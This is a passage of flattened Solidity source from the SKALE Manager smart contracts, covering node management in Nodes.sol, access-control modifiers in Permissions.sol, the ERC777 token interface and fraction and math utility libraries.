setComplaintTimelimit(uint timelimit) external onlyOwner { complaintTimelimit = timelimit; } function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); msr = 0; rewardPeriod = 2592000; allowableLatency = 150000; deltaPeriod = 3600; checkTime = 300; launchTimestamp = uint(-1); rotationDelay = 12 hours; proofOfUseLockUpPeriodDays = 90; proofOfUseDelegationPercentage = 50; limitValidatorsPerDelegator = 20; firstDelegationsMonth = 0; complaintTimelimit = 1800; } } // SPDX-License-Identifier: AGPL-3.0-only /* Nodes.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin @author Dmytro Stebaiev @author Vadim Yavorsky SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts-ethereum-package/contracts/utils/SafeCast.sol"; import "./delegation/DelegationController.sol"; import "./delegation/ValidatorService.sol"; import "./utils/Random.sol"; import "./utils/SegmentTree.sol"; import "./BountyV2.sol"; import "./ConstantsHolder.sol"; import "./Permissions.sol"; /** * @title Nodes * @dev This contract contains all logic to manage SKALE Network nodes states, * space availability, stake requirement checks, and exit functions. * * Nodes may be in one of several states: * * - Active: Node is registered and is in network operation. * - Leaving: Node has begun exiting from the network. * - Left: Node has left the network. * - In_Maintenance: Node is temporarily offline or undergoing infrastructure * maintenance * * Note: Online nodes contain both Active and Leaving states. */ contract Nodes is Permissions { using Random for Random.RandomGenerator; using SafeCast for uint; using SegmentTree for SegmentTree.Tree; // All Nodes states enum NodeStatus {Active, Leaving, Left, In_Maintenance} struct Node { string name; bytes4 ip; bytes4 publicIP; uint16 port; bytes32[2] publicKey; uint startBlock; uint lastRewardDate; uint finishTime; NodeStatus status; uint validatorId; } // struct to note which Nodes and which number of Nodes owned by user struct CreatedNodes { mapping (uint => bool) isNodeExist; uint numberOfNodes; } struct SpaceManaging { uint8 freeSpace; uint indexInSpaceMap; } // TODO: move outside the contract struct NodeCreationParams { string name; bytes4 ip; bytes4 publicIp; uint16 port; bytes32[2] publicKey; uint16 nonce; string domainName; } // array which contain all Nodes Node[] public nodes; SpaceManaging[] public spaceOfNodes; // mapping for checking which Nodes and which number of Nodes owned by user mapping (address => CreatedNodes) public nodeIndexes; // mapping for checking is IP address busy mapping (bytes4 => bool) public nodesIPCheck; // mapping for checking is Name busy mapping (bytes32 => bool) public nodesNameCheck; // mapping for indication from Name to Index mapping (bytes32 => uint) public nodesNameToIndex; // mapping for indication from space to Nodes mapping (uint8 => uint[]) public spaceToNodes; mapping (uint => uint[]) public validatorToNodeIndexes; uint public numberOfActiveNodes; uint public numberOfLeavingNodes; uint public numberOfLeftNodes; mapping (uint => string) public domainNames; mapping (uint => bool) private _invisible; SegmentTree.Tree private _nodesAmountBySpace; /** * @dev Emitted when a node is created. */ event NodeCreated( uint nodeIndex, address owner, string name, bytes4 ip, bytes4 publicIP, uint16 port, uint16 nonce, string domainName, uint time, uint gasSpend ); /** * @dev Emitted when a node completes a network exit. */ event ExitCompleted( uint nodeIndex, uint time, uint gasSpend ); /** * @dev Emitted when a node begins to exit from the network. */ event ExitInitialized( uint nodeIndex, uint startLeavingPeriod, uint time, uint gasSpend ); modifier checkNodeExists(uint nodeIndex) { _checkNodeIndex(nodeIndex); _; } modifier onlyNodeOrAdmin(uint nodeIndex) { _checkNodeOrAdmin(nodeIndex, msg.sender); _; } function initializeSegmentTreeAndInvisibleNodes() external onlyOwner { for (uint i = 0; i < nodes.length; i++) { if (nodes[i].status != NodeStatus.Active && nodes[i].status != NodeStatus.Left) { _invisible[i] = true; _removeNodeFromSpaceToNodes(i, spaceOfNodes[i].freeSpace); } } uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); _nodesAmountBySpace.create(totalSpace); for (uint8 i = 1; i <= totalSpace; i++) { if (spaceToNodes[i].length > 0) _nodesAmountBySpace.addToPlace(i, spaceToNodes[i].length); } } /** * @dev Allows Schains and SchainsInternal contracts to occupy available * space on a node. * * Returns whether operation is successful. */ function removeSpaceFromNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("NodeRotation", "SchainsInternal") returns (bool) { if (spaceOfNodes[nodeIndex].freeSpace < space) { return false; } if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).sub(space).toUint8() ); } return true; } /** * @dev Allows Schains contract to occupy free space on a node. * * Returns whether operation is successful. */ function addSpaceToNode(uint nodeIndex, uint8 space) external checkNodeExists(nodeIndex) allowTwo("Schains", "NodeRotation") { if (space > 0) { _moveNodeToNewSpaceMap( nodeIndex, uint(spaceOfNodes[nodeIndex].freeSpace).add(space).toUint8() ); } } /** * @dev Allows SkaleManager to change a node's last reward date. */ function changeNodeLastRewardDate(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].lastRewardDate = block.timestamp; } /** * @dev Allows SkaleManager to change a node's finish time. */ function changeNodeFinishTime(uint nodeIndex, uint time) external checkNodeExists(nodeIndex) allow("SkaleManager") { nodes[nodeIndex].finishTime = time; } /** * @dev Allows SkaleManager contract to create new node and add it to the * Nodes contract. * * Emits a {NodeCreated} event. * * Requirements: * * - Node IP must be non-zero. * - Node IP must be available. * - Node name must not already be registered. * - Node port must be greater than zero. */ function createNode(address from, NodeCreationParams calldata params) external allow("SkaleManager") { // checks that Node has correct data require(params.ip != 0x0 && !nodesIPCheck[params.ip], "IP address is zero or is not available"); require(!nodesNameCheck[keccak256(abi.encodePacked(params.name))], "Name is already registered"); require(params.port > 0, "Port is zero"); require(from == _publicKeyToAddress(params.publicKey), "Public Key is incorrect"); uint validatorId = ValidatorService( contractManager.getContract("ValidatorService")).getValidatorIdByNodeAddress(from); uint8 totalSpace = ConstantsHolder(contractManager.getContract("ConstantsHolder")).TOTAL_SPACE_ON_NODE(); nodes.push(Node({ name: params.name, ip: params.ip, publicIP: params.publicIp, port: params.port, publicKey: params.publicKey, startBlock: block.number, lastRewardDate: block.timestamp, finishTime: 0, status: NodeStatus.Active, validatorId: validatorId })); uint nodeIndex = nodes.length.sub(1); validatorToNodeIndexes[validatorId].push(nodeIndex); bytes32 nodeId = keccak256(abi.encodePacked(params.name)); nodesIPCheck[params.ip] = true; nodesNameCheck[nodeId] = true; nodesNameToIndex[nodeId] = nodeIndex; nodeIndexes[from].isNodeExist[nodeIndex] = true; nodeIndexes[from].numberOfNodes++; domainNames[nodeIndex] = params.domainName; spaceOfNodes.push(SpaceManaging({ freeSpace: totalSpace, indexInSpaceMap: spaceToNodes[totalSpace].length })); _setNodeActive(nodeIndex); emit NodeCreated( nodeIndex, from, params.name, params.ip, params.publicIp, params.port, params.nonce, params.domainName, block.timestamp, gasleft()); } /** * @dev Allows SkaleManager contract to initiate a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitInitialized} event. */ function initExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeActive(nodeIndex), "Node should be Active"); _setNodeLeaving(nodeIndex); emit ExitInitialized( nodeIndex, block.timestamp, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to complete a node exit procedure. * * Returns whether the operation is successful. * * Emits an {ExitCompleted} event. * * Requirements: * * - Node must have already initialized a node exit procedure. */ function completeExit(uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") returns (bool) { require(isNodeLeaving(nodeIndex), "Node is not Leaving"); _setNodeLeft(nodeIndex); emit ExitCompleted( nodeIndex, block.timestamp, gasleft()); return true; } /** * @dev Allows SkaleManager contract to delete a validator's node. * * Requirements: * * - Validator ID must exist. */ function deleteNodeForValidator(uint validatorId, uint nodeIndex) external checkNodeExists(nodeIndex) allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); if (position < validatorNodes.length) { validatorToNodeIndexes[validatorId][position] = validatorToNodeIndexes[validatorId][validatorNodes.length.sub(1)]; } validatorToNodeIndexes[validatorId].pop(); address nodeOwner = _publicKeyToAddress(nodes[nodeIndex].publicKey); if (validatorService.getValidatorIdByNodeAddress(nodeOwner) == validatorId) { if (nodeIndexes[nodeOwner].numberOfNodes == 1 && !validatorService.validatorAddressExists(nodeOwner)) { validatorService.removeNodeAddress(validatorId, nodeOwner); } nodeIndexes[nodeOwner].isNodeExist[nodeIndex] = false; nodeIndexes[nodeOwner].numberOfNodes--; } } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to create another node. * * Requirements: * * - Validator must be included on trusted list if trusted list is enabled. * - Validator must have sufficient stake to operate an additional node. */ function checkPossibilityCreatingNode(address nodeAddress) external allow("SkaleManager") { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); uint validatorId = validatorService.getValidatorIdByNodeAddress(nodeAddress); require(validatorService.isAuthorizedValidator(validatorId), "Validator is not authorized to create a node"); require( _checkValidatorPositionToMaintainNode(validatorId, validatorToNodeIndexes[validatorId].length), "Validator must meet the Minimum Staking Requirement"); } /** * @dev Allows SkaleManager contract to check whether a validator has * sufficient stake to maintain a node. * * Returns whether validator can maintain node with current stake. * * Requirements: * * - Validator ID and nodeIndex must both exist. */ function checkPossibilityToMaintainNode( uint validatorId, uint nodeIndex ) external checkNodeExists(nodeIndex) allow("Bounty") returns (bool) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); uint[] memory validatorNodes = validatorToNodeIndexes[validatorId]; uint position = _findNode(validatorNodes, nodeIndex); require(position < validatorNodes.length, "Node does not exist for this Validator"); return _checkValidatorPositionToMaintainNode(validatorId, position); } /** * @dev Allows Node to set In_Maintenance status. * * Requirements: * * - Node must already be Active. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function setNodeInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.Active, "Node is not Active"); _setNodeInMaintenance(nodeIndex); } /** * @dev Allows Node to remove In_Maintenance status. * * Requirements: * * - Node must already be In Maintenance. * - `msg.sender` must be owner of Node, validator, or SkaleManager. */ function removeNodeFromInMaintenance(uint nodeIndex) external onlyNodeOrAdmin(nodeIndex) { require(nodes[nodeIndex].status == NodeStatus.In_Maintenance, "Node is not In Maintenance"); _setNodeActive(nodeIndex); } function setDomainName(uint nodeIndex, string memory domainName) external onlyNodeOrAdmin(nodeIndex) { domainNames[nodeIndex] = domainName; } function makeNodeVisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeVisible(nodeIndex); } function makeNodeInvisible(uint nodeIndex) external allow("SchainsInternal") { _makeNodeInvisible(nodeIndex); } function getRandomNodeWithFreeSpace( uint8 freeSpace, Random.RandomGenerator memory randomGenerator ) external view returns (uint) { uint8 place = _nodesAmountBySpace.getRandomNonZeroElementFromPlaceToLast( freeSpace == 0 ? 1 : freeSpace, randomGenerator ).toUint8(); require(place > 0, "Node not found"); return spaceToNodes[place][randomGenerator.random(spaceToNodes[place].length)]; } /** * @dev Checks whether it is time for a node's reward. */ function isTimeForReward(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex) <= now; } /** * @dev Returns IP address of a given node. * * Requirements: * * - Node must exist. */ function getNodeIP(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes4) { require(nodeIndex < nodes.length, "Node does not exist"); return nodes[nodeIndex].ip; } /** * @dev Returns domain name of a given node. * * Requirements: * * - Node must exist. */ function getNodeDomainName(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (string memory) { return domainNames[nodeIndex]; } /** * @dev Returns the port of a given node. * * Requirements: * * - Node must exist. */ function getNodePort(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint16) { return nodes[nodeIndex].port; } /** * @dev Returns the public key of a given node. */ function getNodePublicKey(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bytes32[2] memory) { return nodes[nodeIndex].publicKey; } /** * @dev Returns an address of a given node. */ function getNodeAddress(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (address) { return _publicKeyToAddress(nodes[nodeIndex].publicKey); } /** * @dev Returns the finish exit time of a given node. */ function getNodeFinishTime(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].finishTime; } /** * @dev Checks whether a node has left the network. */ function isNodeLeft(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Left; } function isNodeInMaintenance(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.In_Maintenance; } /** * @dev Returns a given node's last reward date. */ function getNodeLastRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].lastRewardDate; } /** * @dev Returns a given node's next reward date. */ function getNodeNextRewardDate(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (uint) { return BountyV2(contractManager.getBounty()).getNextRewardTimestamp(nodeIndex); } /** * @dev Returns the total number of registered nodes. */ function getNumberOfNodes() external view returns (uint) { return nodes.length; } /** * @dev Returns the total number of online nodes. * * Note: Online nodes are equal to the number of active plus leaving nodes. */ function getNumberOnlineNodes() external view returns (uint) { return numberOfActiveNodes.add(numberOfLeavingNodes); } /** * @dev Return active node IDs. */ function getActiveNodeIds() external view returns (uint[] memory activeNodeIds) { activeNodeIds = new uint[](numberOfActiveNodes); uint indexOfActiveNodeIds = 0; for (uint indexOfNodes = 0; indexOfNodes < nodes.length; indexOfNodes++) { if (isNodeActive(indexOfNodes)) { activeNodeIds[indexOfActiveNodeIds] = indexOfNodes; indexOfActiveNodeIds++; } } } /** * @dev Return a given node's current status. */ function getNodeStatus(uint nodeIndex) external view checkNodeExists(nodeIndex) returns (NodeStatus) { return nodes[nodeIndex].status; } /** * @dev Return a validator's linked nodes. * * Requirements: * * - Validator ID must exist. */ function getValidatorNodeIndexes(uint validatorId) external view returns (uint[] memory) { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require(validatorService.validatorExists(validatorId), "Validator ID does not exist"); return validatorToNodeIndexes[validatorId]; } /** * @dev Returns number of nodes with available space. */ function countNodesWithFreeSpace(uint8 freeSpace) external view returns (uint count) { if (freeSpace == 0) { return _nodesAmountBySpace.sumFromPlaceToLast(1); } return _nodesAmountBySpace.sumFromPlaceToLast(freeSpace); } /** * @dev constructor in Permissions approach. */ function initialize(address contractsAddress) public override initializer { Permissions.initialize(contractsAddress); numberOfActiveNodes = 0; numberOfLeavingNodes = 0; numberOfLeftNodes = 0; _nodesAmountBySpace.create(128); } /** * @dev Returns the Validator ID for a given node. */ function getValidatorId(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (uint) { return nodes[nodeIndex].validatorId; } /** * @dev Checks whether a node exists for a given address. */ function isNodeExist(address from, uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodeIndexes[from].isNodeExist[nodeIndex]; } /** * @dev Checks whether a node's status is Active. */ function isNodeActive(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Active; } /** * @dev Checks whether a node's status is Leaving. */ function isNodeLeaving(uint nodeIndex) public view checkNodeExists(nodeIndex) returns (bool) { return nodes[nodeIndex].status == NodeStatus.Leaving; } function _removeNodeFromSpaceToNodes(uint nodeIndex, uint8 space) internal { uint indexInArray = spaceOfNodes[nodeIndex].indexInSpaceMap; uint len = spaceToNodes[space].length.sub(1); if (indexInArray < len) { uint shiftedIndex = spaceToNodes[space][len]; spaceToNodes[space][indexInArray] = shiftedIndex; spaceOfNodes[shiftedIndex].indexInSpaceMap = indexInArray; } spaceToNodes[space].pop(); delete spaceOfNodes[nodeIndex].indexInSpaceMap; } function _getNodesAmountBySpace() internal view returns (SegmentTree.Tree storage) { return _nodesAmountBySpace; } /** * @dev Returns the index of a given node within the validator's node index. */ function _findNode(uint[] memory validatorNodeIndexes, uint nodeIndex) private pure returns (uint) { uint i; for (i = 0; i < validatorNodeIndexes.length; i++) { if (validatorNodeIndexes[i] == nodeIndex) { return i; } } return validatorNodeIndexes.length; } /** * @dev Moves a node to a new space mapping. */ function _moveNodeToNewSpaceMap(uint nodeIndex, uint8 newSpace) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromTree(space); _addNodeToTree(newSpace); _removeNodeFromSpaceToNodes(nodeIndex, space); _addNodeToSpaceToNodes(nodeIndex, newSpace); } spaceOfNodes[nodeIndex].freeSpace = newSpace; } /** * @dev Changes a node's status to Active. */ function _setNodeActive(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Active; numberOfActiveNodes = numberOfActiveNodes.add(1); if (_invisible[nodeIndex]) { _makeNodeVisible(nodeIndex); } else { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); } } /** * @dev Changes a node's status to In_Maintenance. */ function _setNodeInMaintenance(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.In_Maintenance; numberOfActiveNodes = numberOfActiveNodes.sub(1); _makeNodeInvisible(nodeIndex); } /** * @dev Changes a node's status to Left. */ function _setNodeLeft(uint nodeIndex) private { nodesIPCheck[nodes[nodeIndex].ip] = false; nodesNameCheck[keccak256(abi.encodePacked(nodes[nodeIndex].name))] = false; delete nodesNameToIndex[keccak256(abi.encodePacked(nodes[nodeIndex].name))]; if (nodes[nodeIndex].status == NodeStatus.Active) { numberOfActiveNodes--; } else { numberOfLeavingNodes--; } nodes[nodeIndex].status = NodeStatus.Left; numberOfLeftNodes++; delete spaceOfNodes[nodeIndex].freeSpace; } /** * @dev Changes a node's status to Leaving. */ function _setNodeLeaving(uint nodeIndex) private { nodes[nodeIndex].status = NodeStatus.Leaving; numberOfActiveNodes--; numberOfLeavingNodes++; _makeNodeInvisible(nodeIndex); } function _makeNodeInvisible(uint nodeIndex) private { if (!_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _removeNodeFromSpaceToNodes(nodeIndex, space); _removeNodeFromTree(space); _invisible[nodeIndex] = true; } } function _makeNodeVisible(uint nodeIndex) private { if (_invisible[nodeIndex]) { uint8 space = spaceOfNodes[nodeIndex].freeSpace; _addNodeToSpaceToNodes(nodeIndex, space); _addNodeToTree(space); delete _invisible[nodeIndex]; } } function _addNodeToSpaceToNodes(uint nodeIndex, uint8 space) private { spaceToNodes[space].push(nodeIndex); spaceOfNodes[nodeIndex].indexInSpaceMap = spaceToNodes[space].length.sub(1); } function _addNodeToTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.addToPlace(space, 1); } } function _removeNodeFromTree(uint8 space) private { if (space > 0) { _nodesAmountBySpace.removeFromPlace(space, 1); } } function _checkValidatorPositionToMaintainNode(uint validatorId, uint position) private returns (bool) { DelegationController delegationController = DelegationController( contractManager.getContract("DelegationController") ); uint delegationsTotal = delegationController.getAndUpdateDelegatedToValidatorNow(validatorId); uint msr = ConstantsHolder(contractManager.getConstantsHolder()).msr(); return position.add(1).mul(msr) <= delegationsTotal; } function _checkNodeIndex(uint nodeIndex) private view { require(nodeIndex < nodes.length, "Node with such index does not exist"); } function _checkNodeOrAdmin(uint nodeIndex, address sender) private view { ValidatorService validatorService = ValidatorService(contractManager.getValidatorService()); require( isNodeExist(sender, nodeIndex) || _isAdmin(sender) || getValidatorId(nodeIndex) == validatorService.getValidatorId(sender), "Sender is not permitted to call this function" ); } function _publicKeyToAddress(bytes32[2] memory pubKey) private pure returns (address) { bytes32 hash = keccak256(abi.encodePacked(pubKey[0], pubKey[1])); bytes20 addr; for (uint8 i = 12; i < 32; i++) { addr |= bytes20(hash[i] & 0xFF) >> ((i - 12) * 8); } return address(addr); } function _min(uint a, uint b) private pure returns (uint) { if (a < b) { return a; } else { return b; } } } // SPDX-License-Identifier: AGPL-3.0-only /* Permissions.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Artem Payvin SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/access/AccessControl.sol"; import "./ContractManager.sol"; /** * @title Permissions * @dev Contract is connected module for Upgradeable approach, knows ContractManager */ contract Permissions is AccessControlUpgradeSafe { using SafeMath for uint; using Address for address; ContractManager public contractManager; /** * @dev Modifier to make a function callable only when caller is the Owner. * * Requirements: * * - The caller must be the owner. */ modifier onlyOwner() { require(_isOwner(), "Caller is not the owner"); _; } /** * @dev Modifier to make a function callable only when caller is an Admin. * * Requirements: * * - The caller must be an admin. */ modifier onlyAdmin() { require(_isAdmin(msg.sender), "Caller is not an admin"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName` contract. * * Requirements: * * - The caller must be the owner or `contractName`. */ modifier allow(string memory contractName) { require( contractManager.getContract(contractName) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1` or `contractName2` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, or `contractName2`. */ modifier allowTwo(string memory contractName1, string memory contractName2) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || _isOwner(), "Message sender is invalid"); _; } /** * @dev Modifier to make a function callable only when caller is the Owner * or `contractName1`, `contractName2`, or `contractName3` contract. * * Requirements: * * - The caller must be the owner, `contractName1`, `contractName2`, or * `contractName3`. */ modifier allowThree(string memory contractName1, string memory contractName2, string memory contractName3) { require( contractManager.getContract(contractName1) == msg.sender || contractManager.getContract(contractName2) == msg.sender || contractManager.getContract(contractName3) == msg.sender || _isOwner(), "Message sender is invalid"); _; } function initialize(address contractManagerAddress) public virtual initializer { AccessControlUpgradeSafe.__AccessControl_init(); _setupRole(DEFAULT_ADMIN_ROLE, msg.sender); _setContractManager(contractManagerAddress); } function _isOwner() internal view returns (bool) { return hasRole(DEFAULT_ADMIN_ROLE, msg.sender); } function _isAdmin(address account) internal view returns (bool) { address skaleManagerAddress = contractManager.contracts(keccak256(abi.encodePacked("SkaleManager"))); if (skaleManagerAddress != address(0)) { AccessControlUpgradeSafe skaleManager = AccessControlUpgradeSafe(skaleManagerAddress); return skaleManager.hasRole(keccak256("ADMIN_ROLE"), account) || _isOwner(); } else { return _isOwner(); } } function _setContractManager(address contractManagerAddress) private { require(contractManagerAddress != address(0), "ContractManager address is not set"); require(contractManagerAddress.isContract(), "Address is not contract"); contractManager = ContractManager(contractManagerAddress); } } pragma solidity ^0.6.0; /** * @dev Interface of the ERC777Token standard as defined in the EIP. * * This contract uses the * https://eips.ethereum.org/EIPS/eip-1820[ERC1820 registry standard] to let * token holders and recipients react to token movements by using setting implementers * for the associated interfaces in said registry. See {IERC1820Registry} and * {ERC1820Implementer}. */ interface IERC777 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() external view returns (string memory); /** * @dev Returns the smallest part of the token that is not divisible. This * means all token operations (creation, movement and destruction) must have * amounts that are a multiple of this number. * * For most token contracts, this value will equal 1. */ function granularity() external view returns (uint256); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by an account (`owner`). */ function balanceOf(address owner) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * If send or receive hooks are registered for the caller and `recipient`, * the corresponding functions will be called with `data` and empty * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - the caller must have at least `amount` tokens. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function send(address recipient, uint256 amount, bytes calldata data) external; /** * @dev Destroys `amount` tokens from the caller's account, reducing the * total supply. * * If a send hook is registered for the caller, the corresponding function * will be called with `data` and empty `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - the caller must have at least `amount` tokens. */ function burn(uint256 amount, bytes calldata data) external; /** * @dev Returns true if an account is an operator of `tokenHolder`. * Operators can send and burn tokens on behalf of their owners. All * accounts are their own operator. * * See {operatorSend} and {operatorBurn}. */ function isOperatorFor(address operator, address tokenHolder) external view returns (bool); /** * @dev Make an account an operator of the caller. * * See {isOperatorFor}. * * Emits an {AuthorizedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function authorizeOperator(address operator) external; /** * @dev Revoke an account's operator status for the caller. * * See {isOperatorFor} and {defaultOperators}. * * Emits a {RevokedOperator} event. * * Requirements * * - `operator` cannot be calling address. */ function revokeOperator(address operator) external; /** * @dev Returns the list of default operators. These accounts are operators * for all token holders, even if {authorizeOperator} was never called on * them. * * This list is immutable, but individual holders may revoke these via * {revokeOperator}, in which case {isOperatorFor} will return false. */ function defaultOperators() external view returns (address[] memory); /** * @dev Moves `amount` tokens from `sender` to `recipient`. The caller must * be an operator of `sender`. * * If send or receive hooks are registered for `sender` and `recipient`, * the corresponding functions will be called with `data` and * `operatorData`. See {IERC777Sender} and {IERC777Recipient}. * * Emits a {Sent} event. * * Requirements * * - `sender` cannot be the zero address. * - `sender` must have at least `amount` tokens. * - the caller must be an operator for `sender`. * - `recipient` cannot be the zero address. * - if `recipient` is a contract, it must implement the {IERC777Recipient} * interface. */ function operatorSend( address sender, address recipient, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; /** * @dev Destroys `amount` tokens from `account`, reducing the total supply. * The caller must be an operator of `account`. * * If a send hook is registered for `account`, the corresponding function * will be called with `data` and `operatorData`. See {IERC777Sender}. * * Emits a {Burned} event. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. * - the caller must be an operator for `account`. */ function operatorBurn( address account, uint256 amount, bytes calldata data, bytes calldata operatorData ) external; event Sent( address indexed operator, address indexed from, address indexed to, uint256 amount, bytes data, bytes operatorData ); event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData); event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData); event AuthorizedOperator(address indexed operator, address indexed tokenHolder); event RevokedOperator(address indexed operator, address indexed tokenHolder); } // SPDX-License-Identifier: AGPL-3.0-only /* FractionUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; library FractionUtils { using SafeMath for uint; struct Fraction { uint numerator; uint denominator; } function createFraction(uint numerator, uint denominator) internal pure returns (Fraction memory) { require(denominator > 0, "Division by zero"); Fraction memory fraction = Fraction({numerator: numerator, denominator: denominator}); reduceFraction(fraction); return fraction; } function createFraction(uint value) internal pure returns (Fraction memory) { return createFraction(value, 1); } function reduceFraction(Fraction memory fraction) internal pure { uint _gcd = gcd(fraction.numerator, fraction.denominator); fraction.numerator = fraction.numerator.div(_gcd); fraction.denominator = fraction.denominator.div(_gcd); } // numerator - is limited by 7*10^27, we could multiply it numerator * numerator - it would less than 2^256-1 function multiplyFraction(Fraction memory a, Fraction memory b) internal pure returns (Fraction memory) { return createFraction(a.numerator.mul(b.numerator), a.denominator.mul(b.denominator)); } function gcd(uint a, uint b) internal pure returns (uint) { uint _a = a; uint _b = b; if (_b > _a) { (_a, _b) = swap(_a, _b); } while (_b > 0) { _a = _a.mod(_b); (_a, _b) = swap (_a, _b); } return _a; } function swap(uint a, uint b) internal pure returns (uint, uint) { return (b, a); } } // SPDX-License-Identifier: AGPL-3.0-only /* MathUtils.sol - SKALE Manager Copyright (C) 2018-Present SKALE Labs @author Dmytro Stebaiev SKALE Manager is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. SKALE Manager is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more details. You should have received a copy of the GNU Affero General Public License along with SKALE Manager. If not, see <https://www.gnu.org/licenses/>. */ pragma solidity 0.6.10; library MathUtils { uint constant private _EPS = 1e6; event UnderflowError( uint a, uint b ); function boundedSub(uint256 a, uint256 b) internal returns (uint256) { if (a >= b) { return a - b; } else { emit 